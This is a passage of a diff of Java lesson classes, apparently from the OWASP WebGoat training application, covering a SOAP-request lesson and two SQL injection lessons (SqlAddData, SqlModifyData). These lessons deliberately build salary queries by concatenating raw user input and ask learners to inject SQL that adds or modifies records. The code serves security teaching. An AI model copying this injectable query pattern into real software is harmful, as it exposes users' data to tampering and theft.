+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getFirstName SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>" + "&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getFirstName SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type=\"xsd:int\"&gt;101&lt;/id&gt; <br>" + "&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type=\"xsd:int\"&gt;101&lt;/id&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getFirstName&gt; <br>" + "&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>" + "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getFirstName&gt; <br>" + "&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&lt;/SOAP-ENV:Envelope&gt; <br><br>" + "&lt;/SOAP-ENV:Envelope&gt; <br><br>"
+ "Intercept the HTTP request and try to create a SOAP request."; + "Intercept the HTTP request and try to create a SOAP request.";
soapEnv.replaceAll("(?s) ", "&nbsp;"); soapEnv.replaceAll("(?s) ", "&nbsp;");
hints.add(soapEnv); hints.add(soapEnv);
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(100); private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
public String getTitle() public String getTitle()
{ {
return "Create a SOAP Request"; return "Create a SOAP Request";
} }
protected Element makeOperationsLine(WebSession s) protected Element makeOperationsLine(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Table t1 = new Table().setCellSpacing(0).setCellPadding(2); Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) if (s.isColor())
{ {
t1.setBorder(1); t1.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("How many operations are defined in the WSDL: ")); tr.addElement(new TD().addElement("How many operations are defined in the WSDL: "));
tr.addElement(new TD(new Input(Input.TEXT, "count", ""))); tr.addElement(new TD(new Input(Input.TEXT, "count", "")));
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("LEFT")); tr.addElement(new TD(b).setAlign("LEFT"));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
return ec; return ec;
} }
protected Element makeTypeLine(WebSession s) protected Element makeTypeLine(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Table t1 = new Table().setCellSpacing(0).setCellPadding(2); Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) if (s.isColor())
{ {
t1.setBorder(1); t1.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD() tr.addElement(new TD()
.addElement("Now, what is the type of the (id) parameter in the \"getFirstNameRequest\" method: ")); .addElement("Now, what is the type of the (id) parameter in the \"getFirstNameRequest\" method: "));
tr.addElement(new TD(new Input(Input.TEXT, "type", ""))); tr.addElement(new TD(new Input(Input.TEXT, "type", "")));
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("LEFT")); tr.addElement(new TD(b).setAlign("LEFT"));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
return ec; return ec;
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
return viewWsdl(s); return viewWsdl(s);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
return determineType(s); return determineType(s);
} }
protected Element doStage3(WebSession s) throws Exception protected Element doStage3(WebSession s) throws Exception
{ {
return createSoapEnvelope(s); return createSoapEnvelope(s);
} }
protected Element viewWsdl(WebSession s) protected Element viewWsdl(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
// DEVNOTE: Test for stage completion. // DEVNOTE: Test for stage completion.
try try
{ {
int operationCount = 0; int operationCount = 0;
operationCount = s.getParser().getIntParameter("count"); operationCount = s.getParser().getIntParameter("count");
if (operationCount == 4) if (operationCount == 4)
{ {
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed."); s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content. // Redirect user to Stage2 content.
ec.addElement(doStage2(s)); ec.addElement(doStage2(s));
} }
else else
{ {
s.setMessage("Sorry, that is an incorrect count. Try Again."); s.setMessage("Sorry, that is an incorrect count. Try Again.");
} }
} catch (NumberFormatException nfe) } catch (NumberFormatException nfe)
{ {
// DEVNOTE: Eat the exception. // DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( nfe.getMessage() ) ); // ec.addElement( new P().addElement( nfe.getMessage() ) );
s.setMessage("Sorry, that answer is invalid. Try again."); s.setMessage("Sorry, that answer is invalid. Try again.");
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// DEVNOTE: Eat the exception. // DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( pnfe.getMessage() ) ); // ec.addElement( new P().addElement( pnfe.getMessage() ) );
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
// DEVNOTE: Conditionally display Stage1 content depending on whether stage is completed or // DEVNOTE: Conditionally display Stage1 content depending on whether stage is completed or
// not // not
if (getLessonTracker(s).getStage() == 1) if (getLessonTracker(s).getStage() == 1)
// if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) || // if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("1") ) // (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("1") )
{ {
ec.addElement(makeOperationsLine(s)); ec.addElement(makeOperationsLine(s));
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File"); A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec.addElement(new P().addElement("View the following WSDL and count available operations:")); ec.addElement(new P().addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(a); ec.addElement(a);
} }
// getLessonTracker( s ).setCompleted( SoapRequest.completed ); // getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec); return (ec);
} }
protected Element determineType(WebSession s) protected Element determineType(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
// DEVNOTE: Test for stage completion. // DEVNOTE: Test for stage completion.
try try
{ {
String paramType = ""; String paramType = "";
paramType = s.getParser().getStringParameter("type"); paramType = s.getParser().getStringParameter("type");
// if (paramType.equalsIgnoreCase("int")) // if (paramType.equalsIgnoreCase("int"))
if (paramType.equals("int")) if (paramType.equals("int"))
{ {
getLessonTracker(s).setStage(3); getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. "); s.setMessage("Stage 2 completed. ");
// s.setMessage( // s.setMessage(
// "Now, you'll craft a SOAP envelope for invoking a web service directly."); // "Now, you'll craft a SOAP envelope for invoking a web service directly.");
// Redirect user to Stage2 content. // Redirect user to Stage2 content.
ec.addElement(doStage3(s)); ec.addElement(doStage3(s));
} }
else else
{ {
s.setMessage("Sorry, that is an incorrect type. Try Again."); s.setMessage("Sorry, that is an incorrect type. Try Again.");
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// DEVNOTE: Eat the exception. // DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( pnfe.getMessage() ) ); // ec.addElement( new P().addElement( pnfe.getMessage() ) );
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
// DEVNOTE: Conditionally display Stage2 content depending on whether stage is completed or // DEVNOTE: Conditionally display Stage2 content depending on whether stage is completed or
// not // not
if (getLessonTracker(s).getStage() == 2) if (getLessonTracker(s).getStage() == 2)
// if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) || // if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("2") ) // (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("2") )
{ {
ec.addElement(makeTypeLine(s)); ec.addElement(makeTypeLine(s));
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File"); A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec.addElement(new P().addElement("View the following WSDL and count available operations:")); ec.addElement(new P().addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(a); ec.addElement(a);
} }
// getLessonTracker( s ).setCompleted( SoapRequest.completed ); // getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec); return (ec);
} }
protected Element createSoapEnvelope(WebSession s) protected Element createSoapEnvelope(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
// Determine how many methods have been accessed. User needs to check at least two methods // Determine how many methods have been accessed. User needs to check at least two methods
// before completing the lesson. // before completing the lesson.
if ((accessFirstName + accessLastName + accessCreditCard + accessLoginCount) >= 2) if ((accessFirstName + accessLastName + accessCreditCard + accessLoginCount) >= 2)
{ {
/** Reset function access counters **/ /** Reset function access counters **/
accessFirstName = accessLastName = accessCreditCard = accessLoginCount = 0; accessFirstName = accessLastName = accessCreditCard = accessLoginCount = 0;
// SoapRequest.completed = true; // SoapRequest.completed = true;
makeSuccess(s); makeSuccess(s);
} }
else else
{ {
// display Stage2 content // display Stage2 content
ec ec
.addElement(new P() .addElement(new P()
.addElement("Intercept the request and invoke any method by sending a valid SOAP request for a valid account. <br/>")); .addElement("Intercept the request and invoke any method by sending a valid SOAP request for a valid account. <br/>"));
ec ec
.addElement(new P() .addElement(new P()
.addElement("You must access at least 2 of the methods to pass the lesson. <br/>")); .addElement("You must access at least 2 of the methods to pass the lesson. <br/>"));
Element b = ECSFactory.makeButton("Press to generate an HTTP request"); Element b = ECSFactory.makeButton("Press to generate an HTTP request");
ec.addElement(b); ec.addElement(b);
// conditionally display invoked methods // conditionally display invoked methods
if ((accessFirstName + accessLastName + accessCreditCard + accessLoginCount) > 0) if ((accessFirstName + accessLastName + accessCreditCard + accessLoginCount) > 0)
{ {
ec.addElement("<br><br>Methods Invoked:<br>"); ec.addElement("<br><br>Methods Invoked:<br>");
ec.addElement("<ul>"); ec.addElement("<ul>");
if (accessFirstName > 0) if (accessFirstName > 0)
{ {
ec.addElement("<li>getFirstName</li>"); ec.addElement("<li>getFirstName</li>");
} }
if (accessLastName > 0) if (accessLastName > 0)
{ {
ec.addElement("<li>getLastName</li>"); ec.addElement("<li>getLastName</li>");
} }
if (accessCreditCard > 0) if (accessCreditCard > 0)
{ {
ec.addElement("<li>getCreditCard</li>"); ec.addElement("<li>getCreditCard</li>");
} }
if (accessLoginCount > 0) if (accessLoginCount > 0)
{ {
ec.addElement("<li>getLoginCount</li>"); ec.addElement("<li>getLoginCount</li>");
} }
ec.addElement("</ul>"); ec.addElement("</ul>");
} }
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File"); A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(a); ec.addElement(a);
} }
// getLessonTracker( s ).setCompleted( SoapRequest.completed ); // getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec); return (ec);
} }
public String getResults(int id, String field) public String getResults(int id, String field)
{ {
try try
{ {
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext()); Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
PreparedStatement ps = connection.prepareStatement("SELECT * FROM user_data WHERE userid = ?"); PreparedStatement ps = connection.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
ps.setInt(1, id); ps.setInt(1, id);
try try
{ {
ResultSet results = ps.executeQuery(); ResultSet results = ps.executeQuery();
if ((results != null) && (results.next() == true)) { return results.getString(field); } if ((results != null) && (results.next() == true)) { return results.getString(field); }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
} }
} catch (Exception e) } catch (Exception e)
{ {
} }
return null; return null;
} }
public String getCreditCard(int id) public String getCreditCard(int id)
{ {
String result = getResults(id, "cc_number"); String result = getResults(id, "cc_number");
// SoapRequest.completed = true; // SoapRequest.completed = true;
if (result != null) if (result != null)
{ {
// DEVNOTE: Always set method access counter to (1) no matter how many times it is // DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed. // accessed.
// This is intended to be used to determine how many methods have been accessed, not how // This is intended to be used to determine how many methods have been accessed, not how
// often. // often.
accessCreditCard = 1; accessCreditCard = 1;
return result; return result;
} }
return null; return null;
} }
public String getFirstName(int id) public String getFirstName(int id)
{ {
String result = getResults(id, "first_name"); String result = getResults(id, "first_name");
if (result != null) if (result != null)
{ {
// DEVNOTE: Always set method access counter to (1) no matter how many times it is // DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed. // accessed.
// This is intended to be used to determine how many methods have been accessed, not how // This is intended to be used to determine how many methods have been accessed, not how
// often. // often.
accessFirstName = 1; accessFirstName = 1;
return result; return result;
} }
return null; return null;
} }
public String getLastName(int id) public String getLastName(int id)
{ {
String result = getResults(id, "last_name"); String result = getResults(id, "last_name");
if (result != null) if (result != null)
{ {
// DEVNOTE: Always set method access counter to (1) no matter how many times it is // DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed. // accessed.
// This is intended to be used to determine how many methods have been accessed, not how // This is intended to be used to determine how many methods have been accessed, not how
// often. // often.
accessLastName = 1; accessLastName = 1;
return result; return result;
} }
return null; return null;
} }
public String getLoginCount(int id) public String getLoginCount(int id)
{ {
String result = getResults(id, "login_count"); String result = getResults(id, "login_count");
if (result != null) if (result != null)
{ {
// DEVNOTE: Always set method access counter to (1) no matter how many times it is // DEVNOTE: Always set method access counter to (1) no matter how many times it is
// accessed. // accessed.
// This is intended to be used to determine how many methods have been accessed, not how // This is intended to be used to determine how many methods have been accessed, not how
// often. // often.
accessLoginCount = 1; accessLoginCount = 1;
return result; return result;
} }
return null; return null;
} }
} }

View File

@ -55,116 +55,116 @@ import org.owasp.webgoat.util.WebGoatI18N;
*/ */
public class SqlAddData extends SequentialLessonAdapter public class SqlAddData extends SequentialLessonAdapter
{ {
public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0));
private final static String USERID = "userid"; private final static String USERID = "userid";
private String userid; private String userid;
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(makeAccountLine(s)); ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM salaries WHERE userid = '" + userid + "'"; String query = "SELECT * FROM salaries WHERE userid = '" + userid + "'";
//ec.addElement(new PRE(query)); //ec.addElement(new PRE(query));
try try
{ {
// get number of rows in table before executing injectable query // get number of rows in table before executing injectable query
Statement target_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement target_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet target_results = target_statement.executeQuery("SELECT * from salaries"); ResultSet target_results = target_statement.executeQuery("SELECT * from salaries");
target_results.last(); target_results.last();
int number_of_results_before = target_results.getRow(); int number_of_results_before = target_results.getRow();
System.out.println("Before running query, table salaries has " System.out.println("Before running query, table salaries has "
+ number_of_results_before + " records."); + number_of_results_before + " records.");
// execute query // execute query
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.execute(query); statement.execute(query);
ResultSet results = statement.getResultSet(); ResultSet results = statement.getResultSet();
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last(); results.last();
} }
else else
{ {
ec.addElement(WebGoatI18N.get("NoResultsMatched")); ec.addElement(WebGoatI18N.get("NoResultsMatched"));
} }
// see if the number of rows in the table has changed // see if the number of rows in the table has changed
target_results = target_statement.executeQuery("SELECT * from salaries"); target_results = target_statement.executeQuery("SELECT * from salaries");
target_results.last(); target_results.last();
int number_of_results_after = target_results.getRow(); int number_of_results_after = target_results.getRow();
System.out.println("After running query, table salaries has " System.out.println("After running query, table salaries has "
+ number_of_results_after + " records."); + number_of_results_after + " records.");
if(number_of_results_after != number_of_results_before) { if(number_of_results_after != number_of_results_before) {
makeSuccess(s); makeSuccess(s);
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected Element makeAccountLine(WebSession s) protected Element makeAccountLine(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement(WebGoatI18N.get("EnterUserid"))); ec.addElement(new P().addElement(WebGoatI18N.get("EnterUserid")));
userid = s.getParser().getRawParameter(USERID, "jsmith"); userid = s.getParser().getRawParameter(USERID, "jsmith");
Input input = new Input(Input.TEXT, USERID, userid.toString()); Input input = new Input(Input.TEXT, USERID, userid.toString());
ec.addElement(input); ec.addElement(input);
Element b = ECSFactory.makeButton(WebGoatI18N.get("Go!")); Element b = ECSFactory.makeButton(WebGoatI18N.get("Go!"));
ec.addElement(b); ec.addElement(b);
return ec; return ec;
} }
/** /**
* Gets the category attribute of the SqNumericInjection object * Gets the category attribute of the SqNumericInjection object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
* Gets the credits attribute of the AbstractLesson object * Gets the credits attribute of the AbstractLesson object
@ -173,43 +173,43 @@ public class SqlAddData extends SequentialLessonAdapter
*/ */
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO); return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO);
} }
/** /**
* Gets the hints attribute of the DatabaseFieldScreen object * Gets the hints attribute of the DatabaseFieldScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("SqlAddDataHint1")); hints.add(WebGoatI18N.get("SqlAddDataHint1"));
hints.add(WebGoatI18N.get("SqlAddDataHint2")); hints.add(WebGoatI18N.get("SqlAddDataHint2"));
hints.add(WebGoatI18N.get("SqlAddDataHint3")); hints.add(WebGoatI18N.get("SqlAddDataHint3"));
hints.add(WebGoatI18N.get("SqlAddDataHint4")); hints.add(WebGoatI18N.get("SqlAddDataHint4"));
hints.add(WebGoatI18N.get("SqlAddDataHint5")); hints.add(WebGoatI18N.get("SqlAddDataHint5"));
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(78); private final static Integer DEFAULT_RANKING = new Integer(78);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DatabaseFieldScreen object * Gets the title attribute of the DatabaseFieldScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Add Data with SQL Injection"); return ("Add Data with SQL Injection");
} }
/** /**
* Gets the instructions attribute of the SqlInjection object * Gets the instructions attribute of the SqlInjection object
@ -218,30 +218,30 @@ public class SqlAddData extends SequentialLessonAdapter
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = "The form below allows a user to view salaries associated with a userid " String instructions = "The form below allows a user to view salaries associated with a userid "
+ "(from the table named <b>salaries</b>). This form" + "(from the table named <b>salaries</b>). This form"
+ " is vulnerable to String SQL Injection. In order to pass this lesson, use SQL Injection to " + " is vulnerable to String SQL Injection. In order to pass this lesson, use SQL Injection to "
+ "add a record to the table."; + "add a record to the table.";
return (instructions); return (instructions);
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
} catch (Exception e)
{
// System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
} }
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s
* Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
} catch (Exception e)
{
// System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}
} }

View File

@ -55,134 +55,134 @@ import org.owasp.webgoat.util.WebGoatI18N;
*/ */
public class SqlModifyData extends SequentialLessonAdapter public class SqlModifyData extends SequentialLessonAdapter
{ {
public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0));
private final static String USERID = "userid"; private final static String USERID = "userid";
private final static String TARGET_USERID = "jsmith"; private final static String TARGET_USERID = "jsmith";
private final static String NONTARGET_USERID = "lsmith"; private final static String NONTARGET_USERID = "lsmith";
private String userid; private String userid;
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(makeAccountLine(s)); ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM salaries WHERE userid = '" + userid + "'"; String query = "SELECT * FROM salaries WHERE userid = '" + userid + "'";
//ec.addElement(new PRE(query)); //ec.addElement(new PRE(query));
try try
{ {
// check target data // check target data
Statement target_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement target_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet target_results = target_statement.executeQuery("SELECT salary from salaries where userid='"+TARGET_USERID+"'"); ResultSet target_results = target_statement.executeQuery("SELECT salary from salaries where userid='"+TARGET_USERID+"'");
target_results.first(); target_results.first();
String before_salary_target_salary = target_results.getString(1); String before_salary_target_salary = target_results.getString(1);
System.out.println("Before running query, salary for target userid " + TARGET_USERID + " = " + before_salary_target_salary ); System.out.println("Before running query, salary for target userid " + TARGET_USERID + " = " + before_salary_target_salary );
target_results = target_statement.executeQuery("SELECT salary from salaries where userid='"+NONTARGET_USERID+"'"); target_results = target_statement.executeQuery("SELECT salary from salaries where userid='"+NONTARGET_USERID+"'");
target_results.first(); target_results.first();
String before_salary_nontarget_salary = target_results.getString(1); String before_salary_nontarget_salary = target_results.getString(1);
System.out.println("Before running query, salary for nontarget userid " + NONTARGET_USERID + " = " + before_salary_nontarget_salary ); System.out.println("Before running query, salary for nontarget userid " + NONTARGET_USERID + " = " + before_salary_nontarget_salary );
// execute query // execute query
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
// //
statement.execute(query); statement.execute(query);
ResultSet results = statement.getResultSet(); ResultSet results = statement.getResultSet();
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData)); ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last(); results.last();
} }
else else
{ {
ec.addElement(WebGoatI18N.get("NoResultsMatched")); ec.addElement(WebGoatI18N.get("NoResultsMatched"));
} }
// see if target data was modified // see if target data was modified
target_results = target_statement.executeQuery("SELECT salary from salaries where userid='"+TARGET_USERID+"'"); target_results = target_statement.executeQuery("SELECT salary from salaries where userid='"+TARGET_USERID+"'");
target_results.first(); target_results.first();
String after_salary_target_salary = target_results.getString(1); String after_salary_target_salary = target_results.getString(1);
System.out.println("After running query, salary for target userid " + TARGET_USERID + " = " + before_salary_target_salary ); System.out.println("After running query, salary for target userid " + TARGET_USERID + " = " + before_salary_target_salary );
target_results = target_statement.executeQuery("SELECT salary from salaries where userid='"+NONTARGET_USERID+"'"); target_results = target_statement.executeQuery("SELECT salary from salaries where userid='"+NONTARGET_USERID+"'");
target_results.first(); target_results.first();
String after_salary_nontarget_salary = target_results.getString(1); String after_salary_nontarget_salary = target_results.getString(1);
System.out.println("After running query, salary for nontarget userid " + NONTARGET_USERID + " = " + before_salary_nontarget_salary ); System.out.println("After running query, salary for nontarget userid " + NONTARGET_USERID + " = " + before_salary_nontarget_salary );
if(!after_salary_nontarget_salary.equals(before_salary_nontarget_salary)) { if(!after_salary_nontarget_salary.equals(before_salary_nontarget_salary)) {
s.setMessage("You modified the salary for another userid, in order to succeed you must modify the salary of only userid " s.setMessage("You modified the salary for another userid, in order to succeed you must modify the salary of only userid "
+ TARGET_USERID + "."); + TARGET_USERID + ".");
} else { } else {
if(!after_salary_target_salary.equals(before_salary_target_salary)) { if(!after_salary_target_salary.equals(before_salary_target_salary)) {
makeSuccess(s); makeSuccess(s);
} }
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
ec.addElement(new P().addElement(sqle.getMessage())); ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected Element makeAccountLine(WebSession s) protected Element makeAccountLine(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement(WebGoatI18N.get("EnterUserid"))); ec.addElement(new P().addElement(WebGoatI18N.get("EnterUserid")));
userid = s.getParser().getRawParameter(USERID, "jsmith"); userid = s.getParser().getRawParameter(USERID, "jsmith");
Input input = new Input(Input.TEXT, USERID, userid.toString()); Input input = new Input(Input.TEXT, USERID, userid.toString());
ec.addElement(input); ec.addElement(input);
Element b = ECSFactory.makeButton(WebGoatI18N.get("Go!")); Element b = ECSFactory.makeButton(WebGoatI18N.get("Go!"));
ec.addElement(b); ec.addElement(b);
return ec; return ec;
} }
/** /**
* Gets the category attribute of the SqNumericInjection object * Gets the category attribute of the SqNumericInjection object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
* Gets the credits attribute of the AbstractLesson object * Gets the credits attribute of the AbstractLesson object
@ -191,43 +191,43 @@ public class SqlModifyData extends SequentialLessonAdapter
*/ */
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO); return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO);
} }
/** /**
* Gets the hints attribute of the DatabaseFieldScreen object * Gets the hints attribute of the DatabaseFieldScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
